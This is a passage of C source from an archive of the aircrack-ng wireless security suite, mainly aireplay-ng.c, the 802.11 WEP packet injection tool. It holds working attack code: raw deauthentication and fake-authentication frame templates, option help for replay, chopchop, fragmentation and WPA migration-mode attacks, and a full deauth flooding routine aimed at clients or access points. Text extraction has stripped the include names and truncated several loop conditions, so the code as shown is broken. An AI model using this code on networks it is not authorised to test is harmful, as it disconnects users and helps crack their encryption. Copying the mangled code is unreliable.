{ oui_cur = G.manufList; while (oui_cur != NULL) { oui_next = oui_cur->next; free(oui_cur); oui_cur = oui_next; } } fprintf( stderr, "\33[?25h" ); fflush( stdout ); return( 0 ); } aircrack-ng-1.2-beta3/src/aireplay-ng.c0000644000000000000000000062231512153517342016406 0ustar rootroot/* * 802.11 WEP replay & injection attacks * * Copyright (C) 2006-2013 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * WEP decryption attack (chopchop) developed by KoreK * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #if defined(linux) #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "version.h" #include "pcap.h" #include "osdep/osdep.h" #include "crypto.h" #include "common.h" #define RTC_RESOLUTION 8192 #define REQUESTS 30 #define MAX_APS 20 #define NEW_IV 1 #define RETRY 2 #define ABORT 3 #define DEAUTH_REQ \ "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00" #define AUTH_REQ \ "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00" #define ASSOC_REQ \ "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00" #define REASSOC_REQ \ "\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00" #define NULL_DATA \ "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B" #define RTS \ "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" #define RATES \ "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C" #define PROBE_REQ \ "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" #define RATE_NUM 12 #define RATE_1M 1000000 #define RATE_2M 2000000 #define RATE_5_5M 5500000 #define RATE_11M 11000000 #define RATE_6M 6000000 #define RATE_9M 9000000 #define RATE_12M 12000000 #define RATE_18M 18000000 #define RATE_24M 24000000 #define RATE_36M 36000000 #define RATE_48M 48000000 #define RATE_54M 54000000 int bitrates[RATE_NUM]={RATE_1M, RATE_2M, RATE_5_5M, RATE_6M, RATE_9M, RATE_11M, RATE_12M, RATE_18M, RATE_24M, RATE_36M, RATE_48M, RATE_54M}; extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern int maccmp(unsigned char *mac1, unsigned char *mac2); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int check_crc_buf( unsigned char *buf, int len ); extern const unsigned long int crc_tbl[256]; extern const unsigned char crc_chop_tbl[256][4]; char usage[] = "\n" " %s - (C) 2006-2013 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: aireplay-ng \n" "\n" " Filter options:\n" "\n" " -b bssid : MAC address, Access Point\n" " -d dmac : MAC address, Destination\n" " -s smac : MAC address, Source\n" " -m len : minimum packet length\n" " -n len : maximum packet length\n" " -u type : frame control, type field\n" " -v subt : frame control, subtype field\n" " -t tods : frame control, To DS bit\n" " -f fromds : frame control, From DS bit\n" " -w iswep : frame control, WEP bit\n" " -D : disable AP detection\n" "\n" " Replay options:\n" "\n" " -x nbpps : number of packets per second\n" " -p fctrl : set frame control word (hex)\n" " -a bssid : set Access Point MAC address\n" " -c dmac : set Destination MAC address\n" " -h smac : set Source MAC address\n" " -g value : change ring buffer size (default: 8)\n" " -F : choose first matching packet\n" "\n" " Fakeauth attack options:\n" "\n" " -e essid : set target AP SSID\n" " -o npckts : number of packets per burst (0=auto, default: 1)\n" " -q sec : seconds between keep-alives\n" " -Q : send reassociation requests\n" " -y prga : keystream for shared key auth\n" " -T n : exit after retry fake auth request n time\n" "\n" " Arp Replay attack options:\n" "\n" " -j : inject FromDS packets\n" "\n" " Fragmentation attack options:\n" "\n" " -k IP : set destination IP in fragments\n" " -l IP : set source IP in fragments\n" "\n" " Test attack options:\n" "\n" " -B : activates the bitrate test\n" "\n" /* " WIDS evasion options:\n" " -y value : Use packets older than n packets\n" " -z : Ghosting\n" "\n" */ " Source options:\n" "\n" " -i iface : capture packets from this interface\n" " -r file : extract packets from this pcap file\n" "\n" " Miscellaneous options:\n" "\n" " -R : disable /dev/rtc usage\n" " --ignore-negative-one : if the interface's channel can't be determined,\n" " ignore the mismatch, needed for unpatched cfg80211\n" "\n" " Attack modes (numbers can still be used):\n" "\n" " --deauth count : deauthenticate 1 or all stations (-0)\n" " --fakeauth delay : fake authentication with AP (-1)\n" " --interactive : interactive frame selection (-2)\n" " --arpreplay : standard ARP-request replay (-3)\n" " --chopchop : decrypt/chopchop WEP packet (-4)\n" " --fragment : generates valid keystream (-5)\n" " --caffe-latte : query a client for new IVs (-6)\n" " --cfrag : fragments against a client (-7)\n" " --migmode : attacks WPA migration mode (-8)\n" " --test : tests injection and quality (-9)\n" "\n" " --help : Displays this usage screen\n" "\n"; struct options { unsigned char f_bssid[6]; unsigned char f_dmac[6]; unsigned char f_smac[6]; int f_minlen; int f_maxlen; int f_type; int f_subtype; int f_tods; int f_fromds; int f_iswep; int r_nbpps; int r_fctrl; unsigned char r_bssid[6]; unsigned char r_dmac[6]; unsigned char r_smac[6]; unsigned char r_dip[4]; unsigned char r_sip[4]; char r_essid[33]; int r_fromdsinj; char r_smac_set; char ip_out[16]; //16 for 15 chars + \x00 char ip_in[16]; int port_out; int port_in; char *iface_out; char *s_face; char *s_file; uchar *prga; int a_mode; int a_count; int a_delay; int f_retry; int ringbuffer; int ghost; int prgalen; int delay; int npackets; int fast; int bittest; int nodetect; int ignore_negative_one; int rtc; int reassoc; } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; unsigned char mac_in[6]; unsigned char mac_out[6]; int is_wlanng; int is_hostap; int is_madwifi; int is_madwifing; int is_bcm43xx; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; static struct wif *_wi_in, *_wi_out; struct ARP_req { unsigned char *buf; int hdrlen; int len; }; struct APt { unsigned char set; unsigned char found; unsigned char len; unsigned char essid[255]; unsigned char bssid[6]; unsigned char chan; unsigned int ping[REQUESTS]; int pwr[REQUESTS]; }; struct APt ap[MAX_APS]; unsigned long nb_pkt_sent; unsigned char h80211[4096]; unsigned char tmpbuf[4096]; unsigned char srcbuf[4096]; char strbuf[512]; uchar ska_auth1[] = "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00"; uchar ska_auth3[4096] = "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xc0\x01"; int ctrl_c, alarmed; char * iwpriv; void sighandler( int signum ) { if( signum == SIGINT ) ctrl_c++; if( signum == SIGALRM ) alarmed++; } int reset_ifaces() { //close interfaces if(_wi_in != _wi_out) { if(_wi_in) { wi_close(_wi_in); _wi_in = NULL; } if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; } } else { if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; _wi_in = NULL; } } /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); return 0; } int set_bitrate(struct wif *wi, int rate) { int i, newrate; if( wi_set_rate(wi, rate) ) return 1; // if( reset_ifaces() ) // return 1; //Workaround for buggy drivers (rt73) that do not accept 5.5M, but 5M instead if (rate == 5500000 && wi_get_rate(wi) != 5500000) { if( wi_set_rate(wi, 5000000) ) return 1; } newrate = wi_get_rate(wi); for(i=0; i0 ) { if(bitrates[i-1] >= newrate) { printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0)); return 1; } } if( i 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0) { pkt[22] = (nb_pkt_sent & 0x0000000F) << 4; pkt[23] = (nb_pkt_sent & 0x00000FF0) >> 4; } if (wi_write(wi, buf, count, NULL) == -1) { switch (errno) { case EAGAIN: case ENOBUFS: usleep(10000); return 0; /* XXX not sure I like this... -sorbo */ } perror("wi_write()"); return -1; } nb_pkt_sent++; return 0; } int read_packet(void *buf, size_t count, struct rx_info *ri) { struct wif *wi = _wi_in; /* XXX */ int rc; rc = wi_read(wi, buf, count, ri); if (rc == -1) { switch (errno) { case EAGAIN: return 0; } perror("wi_read()"); return -1; } return rc; } void read_sleep( int usec ) { struct timeval tv, tv2, tv3; int caplen; fd_set rfds; gettimeofday(&tv, NULL); gettimeofday(&tv2, NULL); tv3.tv_sec=0; tv3.tv_usec=10000; while( ((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) < (usec) ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv3 ) < 0 ) { continue; } if( FD_ISSET( dev.fd_in, &rfds ) ) caplen = read_packet( h80211, sizeof( h80211 ), NULL ); gettimeofday(&tv2, NULL); } } int filter_packet( unsigned char *h80211, int caplen ) { int z, mi_b, mi_s, mi_d, ext=0, qos; if(caplen <= 0) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) { qos = 1; /* 802.11e QoS */ z+=2; } if( (h80211[0] & 0x0C) == 0x08) //if data packet ext = z-24; //how many bytes longer than default ieee80211 header /* check length */ if( caplen-ext < opt.f_minlen || caplen-ext > opt.f_maxlen ) return( 1 ); /* check the frame control bytes */ if( ( h80211[0] & 0x0C ) != ( opt.f_type << 2 ) && opt.f_type >= 0 ) return( 1 ); if( ( h80211[0] & 0x70 ) != (( opt.f_subtype << 4 ) & 0x70) && //ignore the leading bit (QoS) opt.f_subtype >= 0 ) return( 1 ); if( ( h80211[1] & 0x01 ) != ( opt.f_tods ) && opt.f_tods >= 0 ) return( 1 ); if( ( h80211[1] & 0x02 ) != ( opt.f_fromds << 1 ) && opt.f_fromds >= 0 ) return( 1 ); if( ( h80211[1] & 0x40 ) != ( opt.f_iswep << 6 ) && opt.f_iswep >= 0 ) return( 1 ); /* check the extended IV (TKIP) flag */ if( opt.f_type == 2 && opt.f_iswep == 1 && ( h80211[z + 3] & 0x20 ) != 0 ) return( 1 ); /* MAC address checking */ switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } if( memcmp( opt.f_bssid, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_b, opt.f_bssid, 6 ) != 0 ) return( 1 ); if( memcmp( opt.f_smac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_s, opt.f_smac, 6 ) != 0 ) return( 1 ); if( memcmp( opt.f_dmac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_d, opt.f_dmac, 6 ) != 0 ) return( 1 ); /* this one looks good */ return( 0 ); } int wait_for_beacon(uchar *bssid, uchar *capa, char *essid) { int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0; uchar pkt_sniff[4096]; struct timeval tv,tv2; char essid2[33]; gettimeofday(&tv, NULL); while (1) { len = 0; while (len < 22) { len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL); gettimeofday(&tv2, NULL); if(((tv2.tv_sec-tv.tv_sec)*1000000) + (tv2.tv_usec-tv.tv_usec) > 10000*1000) //wait 10sec for beacon frame { return -1; } if(len <= 0) usleep(1); } if (! memcmp(pkt_sniff, "\x80", 1)) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 3 && pos < len-2); if(tagtype != 3) continue; if(taglen != 1) continue; if(pos+2+taglen > len) continue; chan = pkt_sniff[pos+2]; if(essid) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 0 && pos < len-2); if(tagtype != 0) continue; if(taglen <= 1) { if (memcmp(bssid, pkt_sniff+10, 6) == 0) break; else continue; } if(pos+2+taglen > len) continue; if(taglen > 32)taglen = 32; if((pkt_sniff+pos+2)[0] < 32 && memcmp(bssid, pkt_sniff+10, 6) == 0) { break; } /* if bssid is given, copy essid */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) == 0) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); break; } /* if essid is given, copy bssid AND essid, so we can handle case insensitive arguments */ if(bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0 && strncasecmp(essid, (char*)pkt_sniff+pos+2, taglen) == 0 && strlen(essid) == (unsigned)taglen) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); memcpy(bssid, pkt_sniff+10, 6); printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to given ESSID \"%s\".\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], essid); break; } /* if essid and bssid are given, check both */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) > 0) { memset(essid2, 0, 33); memcpy(essid2, pkt_sniff+pos+2, taglen); if(strncasecmp(essid, essid2, taglen) == 0 && strlen(essid) == (unsigned)taglen) break; else { printf("For the given BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\", there is an ESSID mismatch!\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); printf("Found ESSID \"%s\" vs. specified ESSID \"%s\"\n", essid2, essid); printf("Using the given one, double check it to be sure its correct!\n"); break; } } } } } if(capa) memcpy(capa, pkt_sniff+34, 2); return chan; } /** if bssid != NULL its looking for a beacon frame */ int attack_check(uchar* bssid, char* essid, uchar* capa, struct wif *wi) { int ap_chan=0, iface_chan=0; iface_chan = wi_get_channel(wi); if(iface_chan == -1 && !opt.ignore_negative_one) { PCT; printf("Couldn't determine current channel for %s, you should either force the operation with --ignore-negative-one or apply a kernel patch\n", wi_get_ifname(wi)); return -1; } if(bssid != NULL) { ap_chan = wait_for_beacon(bssid, capa, essid); if(ap_chan < 0) { PCT; printf("No such BSSID available.\n"); return -1; } if((ap_chan != iface_chan) && (iface_chan != -1 || !opt.ignore_negative_one)) { PCT; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan); return -1; } } return 0; } int getnet( uchar* capa, int filter, int force) { unsigned char *bssid; if(opt.nodetect) return 0; if(filter) bssid = opt.f_bssid; else bssid = opt.r_bssid; if( memcmp(bssid, NULL_MAC, 6) ) { PCT; printf("Waiting for beacon frame (BSSID: %02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n", bssid[0],bssid[1],bssid[2],bssid[3],bssid[4],bssid[5],wi_get_channel(_wi_in)); } else if(strlen(opt.r_essid) > 0) { PCT; printf("Waiting for beacon frame (ESSID: %s) on channel %d\n", opt.r_essid,wi_get_channel(_wi_in)); } else if(force) { PCT; if(filter) { printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n"); } else { printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n"); } return( 1 ); } else return 0; if( attack_check(bssid, opt.r_essid, capa, _wi_in) != 0) { if(memcmp(bssid, NULL_MAC, 6)) { if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32) { printf( "Please specify an ESSID (-e).\n" ); } } if(!memcmp(bssid, NULL_MAC, 6)) { if(strlen(opt.r_essid) > 0) { printf( "Please specify a BSSID (-a).\n" ); } } return( 1 ); } return 0; } int xor_keystream(uchar *ph80211, uchar *keystream, int len) { int i=0; for (i=0; i 0 ) { tr = time( NULL ); printf( "\rRead %ld packets...\r", nb_pkt_read ); fflush( stdout ); } if( opt.s_file == NULL ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 1; tv.tv_usec = 0; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) continue; gettimeofday( &tv, NULL ); *caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( *caplen < 0 ) return( 1 ); if( *caplen == 0 ) continue; } else { /* there are no hidden backdoors in this source code */ n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = *caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); return( 1 ); } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) *caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } } nb_pkt_read++; if( filter_packet( h80211, *caplen ) != 0 ) continue; if(opt.fast) break; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; is_wds = 0; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; is_wds = 0; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; is_wds = 0; break; case 3: mi_t = 10; mi_r = 4; mi_d = 16; mi_s = 24; is_wds = 1; break; // WDS packet } printf( "\n\n Size: %d, FromDS: %d, ToDS: %d", *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { // if (is_wds) key_index_offset = 33; // WDS packets have an additional MAC, so the key index is at byte 33 // else key_index_offset = 27; key_index_offset = z+3; if( ( h80211[key_index_offset] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } printf( "\n\n" ); if (is_wds) { printf( " Transmitter = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_t ], h80211[mi_t + 1], h80211[mi_t + 2], h80211[mi_t + 3], h80211[mi_t + 4], h80211[mi_t + 5] ); printf( " Receiver = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_r ], h80211[mi_r + 1], h80211[mi_r + 2], h80211[mi_r + 3], h80211[mi_r + 4], h80211[mi_r + 5] ); } else { printf( " BSSID = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_b ], h80211[mi_b + 1], h80211[mi_b + 2], h80211[mi_b + 3], h80211[mi_b + 4], h80211[mi_b + 5] ); } printf( " Dest. MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_d ], h80211[mi_d + 1], h80211[mi_d + 2], h80211[mi_d + 3], h80211[mi_d + 4], h80211[mi_d + 5] ); printf( " Source MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_s ], h80211[mi_s + 1], h80211[mi_s + 2], h80211[mi_s + 3], h80211[mi_s + 4], h80211[mi_s + 5] ); /* print a hex dump of the packet */ for( i = 0; i < *caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf( "\n\nUse this packet ? " ); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) break; } if(!just_grab) { pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_src-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving chosen packet in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed\n" ); return( 1 ); } pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = *caplen; pkh.len = *caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); } return( 0 ); } int read_prga(unsigned char **dest, char *file) { FILE *f; int size; if(file == NULL) return( 1 ); if(*dest == NULL) *dest = (unsigned char*) malloc(1501); f = fopen(file, "r"); if(f == NULL) { printf("Error opening %s\n", file); return( 1 ); } fseek(f, 0, SEEK_END); size = ftell(f); rewind(f); if(size > 1500) size = 1500; if( fread( (*dest), size, 1, f ) != 1 ) { fclose(f); fprintf( stderr, "fread failed\n" ); return( 1 ); } opt.prgalen = size; fclose(f); return( 0 ); } void add_icv(uchar *input, int len, int offset) { unsigned long crc = 0xFFFFFFFF; int n=0; for( n = offset; n < len; n++ ) crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; input[len] = (crc ) & 0xFF; input[len+1] = (crc >> 8) & 0xFF; input[len+2] = (crc >> 16) & 0xFF; input[len+3] = (crc >> 24) & 0xFF; return; } void send_fragments(uchar *packet, int packet_len, uchar *iv, uchar *keystream, int fragsize, int ska) { int t, u; int data_size; uchar frag[32+fragsize]; int pack_size; int header_size=24; data_size = packet_len-header_size; packet[23] = (rand() % 0xFF); for (t=0; t+=fragsize;) { //Copy header memcpy(frag, packet, header_size); //Copy IV + KeyIndex memcpy(frag+header_size, iv, 4); //Copy data if(fragsize <= packet_len-(header_size+t-fragsize)) memcpy(frag+header_size+4, packet+header_size+t-fragsize, fragsize); else memcpy(frag+header_size+4, packet+header_size+t-fragsize, packet_len-(header_size+t-fragsize)); //Make ToDS frame if(!ska) { frag[1] |= 1; frag[1] &= 253; } //Set fragment bit if (t< data_size) frag[1] |= 4; if (t>=data_size) frag[1] &= 251; //Fragment number frag[22] = 0; for (u=t; u-=fragsize;) { frag[22] += 1; } // frag[23] = 0; //Calculate packet length if(fragsize <= packet_len-(header_size+t-fragsize)) pack_size = header_size + 4 + fragsize; else pack_size = header_size + 4 + (packet_len-(header_size+t-fragsize)); //Add ICV add_icv(frag, pack_size, header_size + 4); pack_size += 4; //Encrypt xor_keystream(frag + header_size + 4, keystream, fragsize+4); //Send send_packet(frag, pack_size); if (t=data_size) break; } } int do_attack_deauth( void ) { int i, n; int aacks, sacks, caplen; struct timeval tv; fd_set rfds; if(getnet(NULL, 0, 1) != 0) return 1; if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 ) printf( "NB: this attack is more effective when targeting\n" "a connected wireless client (-c ).\n" ); n = 0; while( 1 ) { if( opt.a_count > 0 && ++n > opt.a_count ) break; usleep( 180000 ); if( memcmp( opt.r_dmac, NULL_MAC, 6 ) != 0 ) { /* deauthenticate the target */ memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); aacks = 0; sacks = 0; for( i = 0; i < 64; i++ ) { if(i == 0) { PCT; printf( "Sending 64 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.r_dmac[0], opt.r_dmac[1], opt.r_dmac[2], opt.r_dmac[3], opt.r_dmac[4], opt.r_dmac[5], sacks, aacks ); } memcpy( h80211 + 4, opt.r_dmac, 6 ); memcpy( h80211 + 10, opt.r_bssid, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_dmac, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); while( 1 ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 0; tv.tv_usec = 1000; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) break; caplen = read_packet( tmpbuf, sizeof( tmpbuf ), NULL ); if(caplen <= 0 ) break; if(caplen != 10) continue; if( tmpbuf[0] == 0xD4) { if( memcmp(tmpbuf+4, opt.r_dmac, 6) == 0 ) { aacks++; } if( memcmp(tmpbuf+4, opt.r_bssid, 6) == 0 ) { sacks++; } PCT; printf( "Sending 64 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.r_dmac[0], opt.r_dmac[1], opt.r_dmac[2], opt.r_dmac[3], opt.r_dmac[4], opt.r_dmac[5], sacks, aacks ); } } } printf("\n"); } else { /* deauthenticate all stations */ PCT; printf( "Sending DeAuth to broadcast -- BSSID:" " [%02X:%02X:%02X:%02X:%02X:%02X]\n", opt.r_bssid[0], opt.r_bssid[1], opt.r_bssid[2], opt.r_bssid[3], opt.r_bssid[4], 